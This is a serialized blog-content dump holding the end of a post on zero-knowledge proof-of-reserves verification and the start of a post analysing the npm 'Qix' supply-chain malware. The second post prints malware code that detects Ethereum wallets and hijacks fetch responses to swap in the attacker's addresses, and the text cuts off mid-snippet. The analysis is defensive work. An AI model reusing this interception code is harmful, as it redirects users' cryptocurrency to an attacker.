website:",{"type":23,"tag":32,"props":107351,"children":107352},{},[107353],{"type":23,"tag":15189,"props":107354,"children":107356},{"alt":61763,"src":107355},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":32,"props":107358,"children":107359},{},[107360,107362,107368,107370,107376],{"type":29,"value":107361},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":940,"props":107363,"children":107366},{"href":107364,"rel":107365},"https://backpack.exchange/reserves",[944],[107367],{"type":29,"value":107364},{"type":29,"value":107369}," and our verifier server for backpack at ",{"type":23,"tag":940,"props":107371,"children":107374},{"href":107372,"rel":107373},"https://backpack-por.osec.io/",[944],[107375],{"type":29,"value":107372},{"type":29,"value":557},{"type":23,"tag":24,"props":107378,"children":107380},{"id":107379},"self-verification",[107381],{"type":29,"value":107382},"Self-verification",{"type":23,"tag":32,"props":107384,"children":107385},{},[107386],{"type":29,"value":107387},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":923,"props":107389,"children":107391},{"id":107390},"how-to-verify-if-i-was-included",[107392],{"type":29,"value":107393},"How to verify if I was included?",{"type":23,"tag":32,"props":107395,"children":107396},{},[107397],{"type":29,"value":107398},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":2797,"props":107400,"children":107401},{},[107402,107413,107431],{"type":23,"tag":2801,"props":107403,"children":107404},{},[107405,107412],{"type":23,"tag":940,"props":107406,"children":107409},{"href":107407,"rel":107408},"https://github.com/otter-sec/por_v2/releases",[944],[107410],{"type":29,"value":107411},"Download the PoRv2 executable from our github",{"type":29,"value":557},{"type":23,"tag":2801,"props":107414,"children":107415},{},[107416,107418,107423,107424,107429],{"type":29,"value":107417},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":71,"props":107419,"children":107421},{"className":107420},[],[107422],{"type":29,"value":107107},{"type":29,"value":2721},{"type":23,"tag":71,"props":107425,"children":107427},{"className":107426},[],[107428],{"type":29,"value":107082},{"type":29,"value":107430},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":2801,"props":107432,"children":107433},{},[107434,107436,107442],{"type":29,"value":107435},"Open the terminal and execute this: ",{"type":23,"tag":71,"props":107437,"children":107439},{"className":107438},[],[107440],{"type":29,"value":107441},"./plonky2_por verify-inclusion",{"type":29,"value":557},{"type":23,"tag":32,"props":107444,"children":107445},{},[107446],{"type":29,"value":107447},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":64,"props":107449,"children":107451},{"code":107450},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[107452],{"type":23,"tag":71,"props":107453,"children":107454},{"__ignoreMap":7},[107455],{"type":29,"value":107450},{"type":23,"tag":923,"props":107457,"children":107459},{"id":107458},"how-can-i-verify-the-global-proof",[107460],{"type":29,"value":107461},"How can I verify the global proof?",{"type":23,"tag":32,"props":107463,"children":107464},{},[107465],{"type":29,"value":107466},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":2797,"props":107468,"children":107469},{},[107470,107479,107497],{"type":23,"tag":2801,"props":107471,"children":107472},{},[107473,107478],{"type":23,"tag":940,"props":107474,"children":107476},{"href":107407,"rel":107475},[944],[107477],{"type":29,"value":107411},{"type":29,"value":557},{"type":23,"tag":2801,"props":107480,"children":107481},{},[107482,107484,107489,107490,107495],{"type":29,"value":107483},"Download the ",{"type":23,"tag":71,"props":107485,"children":107487},{"className":107486},[],[107488],{"type":29,"value":107075},{"type":29,"value":48741},{"type":23,"tag":71,"props":107491,"children":107493},{"className":107492},[],[107494],{"type":29,"value":107082},{"type":29,"value":107496}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":2801,"props":107498,"children":107499},{},[107500,107502,107507],{"type":29,"value":107501},"Open the terminal and execute ",{"type":23,"tag":71,"props":107503,"children":107505},{"className":107504},[],[107506],{"type":29,"value":107441},{"type":29,"value":107508},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":32,"props":107510,"children":107511},{},[107512],{"type":29,"value":107513},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":64,"props":107515,"children":107517},{"code":107516},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[107518],{"type":23,"tag":71,"props":107519,"children":107520},{"__ignoreMap":7},[107521],{"type":29,"value":107516},{"type":23,"tag":32,"props":107523,"children":107524},{},[107525],{"type":29,"value":107526},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":64,"props":107528,"children":107530},{"code":107529},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[107531],{"type":23,"tag":71,"props":107532,"children":107533},{"__ignoreMap":7},[107534],{"type":29,"value":107529},{"type":23,"tag":24,"props":107536,"children":107537},{"id":14115},[107538],{"type":29,"value":14118},{"type":23,"tag":32,"props":107540,"children":107541},{},[107542],{"type":29,"value":107543},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":32,"props":107545,"children":107546},{},[107547,107549,107555],{"type":29,"value":107548},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":940,"props":107550,"children":107552},{"href":107364,"rel":107551},[944],[107553],{"type":29,"value":107554},"in production",{"type":29,"value":107556}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":32,"props":107558,"children":107559},{},[107560,107562,107569],{"type":29,"value":107561},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":940,"props":107563,"children":107566},{"href":107564,"rel":107565},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[944],[107567],{"type":29,"value":107568},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":557},{"title":7,"searchDepth":100,"depth":100,"links":107571},[107572,107573,107574,107575,107578,107583,107587,107588,107592],{"id":102821,"depth":100,"text":102824},{"id":102902,"depth":100,"text":102905},{"id":102972,"depth":100,"text":102975},{"id":103026,"depth":100,"text":103029,"children":107576},[107577],{"id":103105,"depth":121,"text":103108},{"id":103193,"depth":100,"text":103196,"children":107579},[107580,107581,107582],{"id":103266,"depth":121,"text":103269},{"id":103738,"depth":121,"text":103741},{"id":105477,"depth":121,"text":105480},{"id":107056,"depth":100,"text":107059,"children":107584},[107585,107586],{"id":20532,"depth":121,"text":107064},{"id":107118,"depth":121,"text":107121},{"id":107248,"depth":100,"text":107251},{"id":107379,"depth":100,"text":107382,"children":107589},[107590,107591],{"id":107390,"depth":121,"text":107393},{"id":107458,"depth":121,"text":107461},{"id":14115,"depth":100,"text":14118},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":107597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":107598,"description":107599,"date":107600,"author":42396,"image":107601,"isFeatured":15,"onBlogPage":15,"tags":107604,"body":107607,"_type":14157,"_id":110033,"_source":14159,"_file":110034,"_stem":110035,"_extension":14162},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":107602,"width":107603,"height":14},"/posts/supply-chain-attcks/title.png",1536,[107605,107606],"npm","supply-chain",{"type":20,"children":107608,"toc":110016},[107609,107622,107627,107632,107638,107643,107651,107981,107989,108552,108560,109267,109273,109278,109284,109289,109294,109300,109305,109317,109322,109348,109435,109447,109472,109488,109493,109498,109704,109746,109751,109763,109769,109781,109823,109836,109916,109928,109941,109948,109959,109967,109973,109986,109991,109995,110000,110012],{"type":23,"tag":32,"props":107610,"children":107611},{},[107612,107614,107620],{"type":29,"value":107613},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":71,"props":107615,"children":107617},{"className":107616},[],[107618],{"type":29,"value":107619},"chalk",{"type":29,"value":107621},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":32,"props":107623,"children":107624},{},[107625],{"type":29,"value":107626},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":32,"props":107628,"children":107629},{},[107630],{"type":29,"value":107631},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":24,"props":107633,"children":107635},{"id":107634},"qix-malware-how-it-worked",[107636],{"type":29,"value":107637},"Qix Malware: How It Worked",{"type":23,"tag":32,"props":107639,"children":107640},{},[107641],{"type":29,"value":107642},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":2797,"props":107644,"children":107645},{},[107646],{"type":23,"tag":2801,"props":107647,"children":107648},{},[107649],{"type":29,"value":107650},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":64,"props":107652,"children":107654},{"code":107653,"language":42561,"meta":7,"className":42559,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[107655],{"type":23,"tag":71,"props":107656,"children":107657},{"__ignoreMap":7},[107658,107678,107690,107734,107751,107758,107794,107806,107834,107854,107874,107886,107893,107928,107948,107960,107967,107974],{"type":23,"tag":75,"props":107659,"children":107660},{"class":77,"line":78},[107661,107665,107669,107674],{"type":23,"tag":75,"props":107662,"children":107663},{"style":82},[107664],{"type":29,"value":47337},{"type":23,"tag":75,"props":107666,"children":107667},{"style":82},[107668],{"type":29,"value":49405},{"type":23,"tag":75,"props":107670,"children":107671},{"style":88},[107672],{"type":29,"value":107673}," checkethereumw",{"type":23,"tag":75,"props":107675,"children":107676},{"style":94},[107677],{"type":29,"value":12966},{"type":23,"tag":75,"props":107679,"children":107680},{"class":77,"line":100},[107681,107686],{"type":23,"tag":75,"props":107682,"children":107683},{"style":175},[107684],{"type":29,"value":107685},"  try",{"type":23,"tag":75,"props":107687,"children":107688},{"style":94},[107689],{"type":29,"value":401},{"type":23,"tag":75,"props":107691,"children":107692},{"class":77,"line":121},[107693,107697,107702,107706,107710,107714,107718,107722,107726,107730],{"type":23,"tag":75,"props":107694,"children":107695},{"style":82},[107696],{"type":29,"value":62853},{"type":23,"tag":75,"props":107698,"children":107699},{"style":110},[107700],{"type":29,"value":107701}," _0x124ed3",{"type":23,"tag":75,"props":107703,"children":107704},{"style":209},[107705],{"type":29,"value":1193},{"type":23,"tag":75,"props":107707,"children":107708},{"style":175},[107709],{"type":29,"value":47403},{"type":23,"tag":75,"props":107711,"children":107712},{"style":110},[107713],{"type":29,"value":42603},{"type":23,"tag":75,"props":107715,"children":107716},{"style":94},[107717],{"type":29,"value":557},{"type":23,"tag":75,"props":107719,"children":107720},{"style":110},[107721],{"type":29,"value":42612},{"type":23,"tag":75,"props":107723,"children":107724},{"style":94},[107725],{"type":29,"value":557},{"type":23,"tag":75,"props":107727,"children":107728},{"style":88},[107729],{"type":29,"value":42688},{"type":23,"tag":75,"props":107731,"children":107732},{"style":94},[107733],{"type":29,"value":26371},{"type":23,"tag":75,"props":107735,"children":107736},{"class":77,"line":138},[107737,107742,107746],{"type":23,"tag":75,"props":107738,"children":107739},{"style":1266},[107740],{"type":29,"value":107741},"      'method'",{"type":23,"tag":75,"props":107743,"children":107744},{"style":110},[107745],{"type":29,"value":1018},{"type":23,"tag":75,"props":107747,"children":107748},{"style":1266},[107749],{"type":29,"value":107750}," \"eth_accounts\"\n",{"type":23,"tag":75,"props":107752,"children":107753},{"class":77,"line":161},[107754],{"type":23,"tag":75,"props":107755,"children":107756},{"style":94},[107757],{"type":29,"value":43452},{"type":23,"tag":75,"props":107759,"children":107760},{"class":77,"line":196},[107761,107765,107769,107774,107778,107782,107786,107790],{"type":23,"tag":75,"props":107762,"children":107763},{"style":175},[107764],{"type":29,"value":1363},{"type":23,"tag":75,"props":107766,"children":107767},{"style":94},[107768],{"type":29,"value":183},{"type":23,"tag":75,"props":107770,"children":107771},{"style":110},[107772],{"type":29,"value":107773},"_0x124ed3",{"type":23,"tag":75,"props":107775,"children":107776},{"style":94},[107777],{"type":29,"value":557},{"type":23,"tag":75,"props":107779,"children":107780},{"style":110},[107781],{"type":29,"value":19762},{"type":23,"tag":75,"props":107783,"children":107784},{"style":209},[107785],{"type":29,"value":8636},{"type":23,"tag":75,"props":107787,"children":107788},{"style":237},[107789],{"type":29,"value":240},{"type":23,"tag":75,"props":107791,"children":107792},{"style":94},[107793],{"type":29,"value":193},{"type":23,"tag":75,"props":107795,"children":107796},{"class":77,"line":220},[107797,107802],{"type":23,"tag":75,"props":107798,"children":107799},{"style":88},[107800],{"type":29,"value":107801},"      runmask",{"type":23,"tag":75,"props":107803,"children":107804},{"style":94},[107805],{"type":29,"value":14944},{"type":23,"tag":75,"props":107807,"children":107808},{"class":77,"line":248},[107809,107813,107817,107822,107826,107830],{"type":23,"tag":75,"props":107810,"children":107811},{"style":175},[107812],{"type":29,"value":50476},{"type":23,"tag":75,"props":107814,"children":107815},{"style":94},[107816],{"type":29,"value":183},{"type":23,"tag":75,"props":107818,"children":107819},{"style":110},[107820],{"type":29,"value":107821},"rund",{"type":23,"tag":75,"props":107823,"children":107824},{"style":209},[107825],{"type":29,"value":6282},{"type":23,"tag":75,"props":107827,"children":107828},{"style":237},[107829],{"type":29,"value":15795},{"type":23,"tag":75,"props":107831,"children":107832},{"style":94},[107833],{"type":29,"value":193},{"type":23,"tag":75,"props":107835,"children":107836},{"class":77,"line":270},[107837,107842,107846,107850],{"type":23,"tag":75,"props":107838,"children":107839},{"style":110},[107840],{"type":29,"value":107841},"        rund",{"type":23,"tag":75,"props":107843,"children":107844},{"style":209},[107845],{"type":29,"value":1193},{"type":23,"tag":75,"props":107847,"children":107848},{"style":237},[107849],{"type":29,"value":15795},{"type":23,"tag":75,"props":107851,"children":107852},{"style":94},[107853],{"type":29,"value":245},{"type":23,"tag":75,"props":107855,"children":107856},{"class":77,"line":279},[107857,107862,107866,107870],{"type":23,"tag":75,"props":107858,"children":107859},{"style":110},[107860],{"type":29,"value":107861},"        neth",{"type":23,"tag":75,"props":107863,"children":107864},{"style":209},[107865],{"type":29,"value":1193},{"type":23,"tag":75,"props":107867,"children":107868},{"style":237},[107869],{"type":29,"value":15795},{"type":23,"tag":75,"props":107871,"children":107872},{"style":94},[107873],{"type":29,"value":245},{"type":23,"tag":75,"props":107875,"children":107876},{"class":77,"line":303},[107877,107882],{"type":23,"tag":75,"props":107878,"children":107879},{"style":88},[107880],{"type":29,"value":107881},"        newdlocal",{"type":23,"tag":75,"props":107883,"children":107884},{"style":94},[107885],{"type":29,"value":14944},{"type":23,"tag":75,"props":107887,"children":107888},{"class":77,"line":322},[107889],{"type":23,"tag":75,"props":107890,"children":107891},{"style":94},[107892],{"type":29,"value":23908},{"type":23,"tag":75,"props":107894,"children":107895},{"class":77,"line":340},[107896,107900,107904,107908,107912,107916,107920,107924],{"type":23,"tag":75,"props":107897,"children":107898},{"style":94},[107899],{"type":29,"value":8344},{"type":23,"tag":75,"props":107901,"children":107902},{"style":175},[107903],{"type":29,"value":6878},{"type":23,"tag":75,"props":107905,"children":107906},{"style":175},[107907],{"type":29,"value":7386},{"type":23,"tag":75,"props":107909,"children":107910},{"style":94},[107911],{"type":29,"value":183},{"type":23,"tag":75,"props":107913,"children":107914},{"style":110},[107915],{"type":29,"value":107821},{"type":23,"tag":75,"props":107917,"children":107918},{"style":209},[107919],{"type":29,"value":6282},{"type":23,"tag":75,"props":107921,"children":107922},{"style":237},[107923],{"type":29,"value":15795},{"type":23,"tag":75,"props":107925,"children":107926},{"style":94},[107927],{"type":29,"value":193},{"type":23,"tag":75,"props":107929,"children":107930},{"class":77,"line":349},[107931,107936,107940,107944],{"type":23,"tag":75,"props":107932,"children":107933},{"style":110},[107934],{"type":29,"value":107935},"      rund",{"type":23,"tag":75,"props":107937,"children":107938},{"style":209},[107939],{"type":29,"value":1193},{"type":23,"tag":75,"props":107941,"children":107942},{"style":237},[107943],{"type":29,"value":15795},{"type":23,"tag":75,"props":107945,"children":107946},{"style":94},[107947],{"type":29,"value":245},{"type":23,"tag":75,"props":107949,"children":107950},{"class":77,"line":363},[107951,107956],{"type":23,"tag":75,"props":107952,"children":107953},{"style":88},[107954],{"type":29,"value":107955},"      newdlocal",{"type":23,"tag":75,"props":107957,"children":107958},{"style":94},[107959],{"type":29,"value":14944},{"type":23,"tag":75,"props":107961,"children":107962},{"class":77,"line":656},[107963],{"type":23,"tag":75,"props":107964,"children":107965},{"style":94},[107966],{"type":29,"value":346},{"type":23,"tag":75,"props":107968,"children":107969},{"class":77,"line":705},[107970],{"type":23,"tag":75,"props":107971,"children":107972},{"style":94},[107973],{"type":29,"value":17141},{"type":23,"tag":75,"props":107975,"children":107976},{"class":77,"line":787},[107977],{"type":23,"tag":75,"props":107978,"children":107979},{"style":94},[107980],{"type":29,"value":369},{"type":23,"tag":2797,"props":107982,"children":107983},{"start":100},[107984],{"type":23,"tag":2801,"props":107985,"children":107986},{},[107987],{"type":29,"value":107988},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":64,"props":107990,"children":107992},{"code":107991,"language":42561,"meta":7,"className":42559,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[107993],{"type":23,"tag":71,"props":107994,"children":107995},{"__ignoreMap":7},[107996,108031,108088,108150,108165,108202,108241,108256,108295,108302,108335,108351,108410,108448,108473,108498,108522,108530,108545],{"type":23,"tag":75,"props":107997,"children":107998},{"class":77,"line":78},[107999,108003,108007,108011,108015,108019,108023,108027],{"type":23,"tag":75,"props":108000,"children":108001},{"style":88},[108002],{"type":29,"value":45288},{"type":23,"tag":75,"props":108004,"children":108005},{"style":209},[108006],{"type":29,"value":1193},{"type":23,"tag":75,"props":108008,"children":108009},{"style":82},[108010],{"type":29,"value":47557},{"type":23,"tag":75,"props":108012,"children":108013},{"style":82},[108014],{"type":29,"value":49405},{"type":23,"tag":75,"props":108016,"children":108017},{"style":94},[108018],{"type":29,"value":183},{"type":23,"tag":75,"props":108020,"children":108021},{"style":209},[108022],{"type":29,"value":9174},{"type":23,"tag":75,"props":108024,"children":108025},{"style":110},[108026],{"type":29,"value":49419},{"type":23,"tag":75,"props":108028,"children":108029},{"style":94},[108030],{"type":29,"value":193},{"type":23,"tag":75,"props":108032,"children":108033},{"class":77,"line":100},[108034,108038,108043,108047,108051,108056,108060,108064,108068,108072,108076,108080,108084],{"type":23,"tag":75,"props":108035,"children":108036},{"style":82},[108037],{"type":29,"value":47380},{"type":23,"tag":75,"props":108039,"children":108040},{"style":110},[108041],{"type":29,"value":108042}," originalResponse",{"type":23,"tag":75,"props":108044,"children":108045},{"style":209},[108046],{"type":29,"value":1193},{"type":23,"tag":75,"props":108048,"children":108049},{"style":175},[108050],{"type":29,"value":47403},{"type":23,"tag":75,"props":108052,"children":108053},{"style":110},[108054],{"type":29,"value":108055}," originalFetch",{"type":23,"tag":75,"props":108057,"children":108058},{"style":94},[108059],{"type":29,"value":557},{"type":23,"tag":75,"props":108061,"children":108062},{"style":88},[108063],{"type":29,"value":49487},{"type":23,"tag":75,"props":108065,"children":108066},{"style":94},[108067],{"type":29,"value":643},{"type":23,"tag":75,"props":108069,"children":108070},{"style":82},[108071],{"type":29,"value":947},{"type":23,"tag":75,"props":108073,"children":108074},{"style":94},[108075],{"type":29,"value":611},{"type":23,"tag":75,"props":108077,"children":108078},{"style":209},[108079],{"type":29,"value":9174},{"type":23,"tag":75,"props":108081,"children":108082},{"style":110},[108083],{"type":29,"value":49419},{"type":23,"tag":75,"props":108085,"children":108086},{"style":94},[108087],{"type":29,"value":15099},{"type":23,"tag":75,"props":108089,"children":108090},{"class":77,"line":121},[108091,108095,108100,108104,108108,108112,108117,108121,108125,108129,108134,108138,108142,108146],{"type":23,"tag":75,"props":108092,"children":108093},{"style":82},[108094],{"type":29,"value":47380},{"type":23,"tag":75,"props":108096,"children":108097},{"style":110},[108098],{"type":29,"value":108099}," contentType",{"type":23,"tag":75,"props":108101,"children":108102},{"style":209},[108103],{"type":29,"value":1193},{"type":23,"tag":75,"props":108105,"children":108106},{"style":110},[108107],{"type":29,"value":108042},{"type":23,"tag":75,"props":108109,"children":108110},{"style":94},[108111],{"type":29,"value":557},{"type":23,"tag":75,"props":108113,"children":108114},{"style":110},[108115],{"type":29,"value":108116},"headers",{"type":23,"tag":75,"props":108118,"children":108119},{"style":94},[108120],{"type":29,"value":557},{"type":23,"tag":75,"props":108122,"children":108123},{"style":88},[108124],{"type":29,"value":27575},{"type":23,"tag":75,"props":108126,"children":108127},{"style":94},[108128],{"type":29,"value":643},{"type":23,"tag":75,"props":108130,"children":108131},{"style":1266},[108132],{"type":29,"value":108133},"'Content-Type'",{"type":23,"tag":75,"props":108135,"children":108136},{"style":94},[108137],{"type":29,"value":167},{"type":23,"tag":75,"props":108139,"children":108140},{"style":209},[108141],{"type":29,"value":33633},{"type":23,"tag":75,"props":108143,"children":108144},{"style":1266},[108145],{"type":29,"value":43034},{"type":23,"tag":75,"props":108147,"children":108148},{"style":94},[108149],{"type":29,"value":245},{"type":23,"tag":75,"props":108151,"children":108152},{"class":77,"line":138},[108153,108157,108161],{"type":23,"tag":75,"props":108154,"children":108155},{"style":82},[108156],{"type":29,"value":19114},{"type":23,"tag":75,"props":108158,"children":108159},{"style":110},[108160],{"type":29,"value":10592},{"type":23,"tag":75,"props":108162,"children":108163},{"style":94},[108164],{"type":29,"value":245},{"type":23,"tag":75,"props":108166,"children":108167},{"class":77,"line":161},[108168,108172,108176,108181,108185,108189,108193,108198],{"type":23,"tag":75,"props":108169,"children":108170},{"style":175},[108171],{"type":29,"value":42589},{"type":23,"tag":75,"props":108173,"children":108174},{"style":94},[108175],{"type":29,"value":183},{"type":23,"tag":75,"props":108177,"children":108178},{"style":110},[108179],{"type":29,"value":108180},"contentType",{"type":23,"tag":75,"props":108182,"children":108183},{"style":94},[108184],{"type":29,"value":557},{"type":23,"tag":75,"props":108186,"children":108187},{"style":88},[108188],{"type":29,"value":46375},{"type":23,"tag":75,"props":108190,"children":108191},{"style":94},[108192],{"type":29,"value":643},{"type":23,"tag":75,"props":108194,"children":108195},{"style":1266},[108196],{"type":29,"value":108197},"'application/json'",{"type":23,"tag":75,"props":108199,"children":108200},{"style":94},[108201],{"type":29,"value":46388},{"type":23,"tag":75,"props":108203,"children":108204},{"class":77,"line":196},[108205,108209,108213,108217,108221,108225,108229,108233,108237],{"type":23,"tag":75,"props":108206,"children":108207},{"style":110},[108208],{"type":29,"value":9476},{"type":23,"tag":75,"props":108210,"children":108211},{"style":209},[108212],{"type":29,"value":1193},{"type":23,"tag":75,"props":108214,"children":108215},{"style":175},[108216],{"type":29,"value":47403},{"type":23,"tag":75,"props":108218,"children":108219},{"style":110},[108220],{"type":29,"value":108042},{"type":23,"tag":75,"props":108222,"children":108223},{"style":94},[108224],{"type":29,"value":557},{"type":23,"tag":75,"props":108226,"children":108227},{"style":88},[108228],{"type":29,"value":26648},{"type":23,"tag":75,"props":108230,"children":108231},{"style":94},[108232],{"type":29,"value":8653},{"type":23,"tag":75,"props":108234,"children":108235},{"style":88},[108236],{"type":29,"value":45191},{"type":23,"tag":75,"props":108238,"children":108239},{"style":94},[108240],{"type":29,"value":14944},{"type":23,"tag":75,"props":108242,"children":108243},{"class":77,"line":220},[108244,108248,108252],{"type":23,"tag":75,"props":108245,"children":108246},{"style":94},[108247],{"type":29,"value":42663},{"type":23,"tag":75,"props":108249,"children":108250},{"style":175},[108251],{"type":29,"value":6878},{"type":23,"tag":75,"props":108253,"children":108254},{"style":94},[108255],{"type":29,"value":401},{"type":23,"tag":75,"props":108257,"children":108258},{"class":77,"line":248},[108259,108263,108267,108271,108275,108279,108283,108287,108291],{"type":23,"tag":75,"props":108260,"children":108261},{"style":110},[108262],{"type":29,"value":9476},{"type":23,"tag":75,"props":108264,"children":108265},{"style":209},[108266],{"type":29,"value":1193},{"type":23,"tag":75,"props":108268,"children":108269},{"style":175},[108270],{"type":29,"value":47403},{"type":23,"tag":75,"props":108272,"children":108273},{"style":110},[108274],{"type":29,"value":108042},{"type":23,"tag":75,"props":108276,"children":108277},{"style":94},[108278],{"type":29,"value":557},{"type":23,"tag":75,"props":108280,"children":108281},{"style":88},[108282],{"type":29,"value":26648},{"type":23,"tag":75,"props":108284,"children":108285},{"style":94},[108286],{"type":29,"value":8653},{"type":23,"tag":75,"props":108288,"children":108289},{"style":88},[108290],{"type":29,"value":29},{"type":23,"tag":75,"props":108292,"children":108293},{"style":94},[108294],{"type":29,"value":14944},{"type":23,"tag":75,"props":108296,"children":108297},{"class":77,"line":270},[108298],{"type":23,"tag":75,"props":108299,"children":108300},{"style":94},[108301],{"type":29,"value":17141},{"type":23,"tag":75,"props":108303,"children":108304},{"class":77,"line":279},[108305,108309,108314,108318,108323,108327,108331],{"type":23,"tag":75,"props":108306,"children":108307},{"style":82},[108308],{"type":29,"value":47380},{"type":23,"tag":75,"props":108310,"children":108311},{"style":110},[108312],{"type":29,"value":108313}," processedData",{"type":23,"tag":75,"props":108315,"children":108316},{"style":209},[108317],{"type":29,"value":1193},{"type":23,"tag":75,"props":108319,"children":108320},{"style":88},[108321],{"type":29,"value":108322}," replaceAddresses",{"type":23,"tag":75,"props":108324,"children":108325},{"style":94},[108326],{"type":29,"value":643},{"type":23,"tag":75,"props":108328,"children":108329},{"style":110},[108330],{"type":29,"value":14976},{"type":23,"tag":75,"props":108332,"children":108333},{"style":94},[108334],{"type":29,"value":15099},{"type":23,"tag":75,"props":108336,"children":108337},{"class":77,"line":303},[108338,108342,108347],{"type":23,"tag":75,"props":108339,"children":108340},{"style":82},[108341],{"type":29,"value":47380},{"type":23,"tag":75,"props":108343,"children":108344},{"style":110},[108345],{"type":29,"value":108346}," 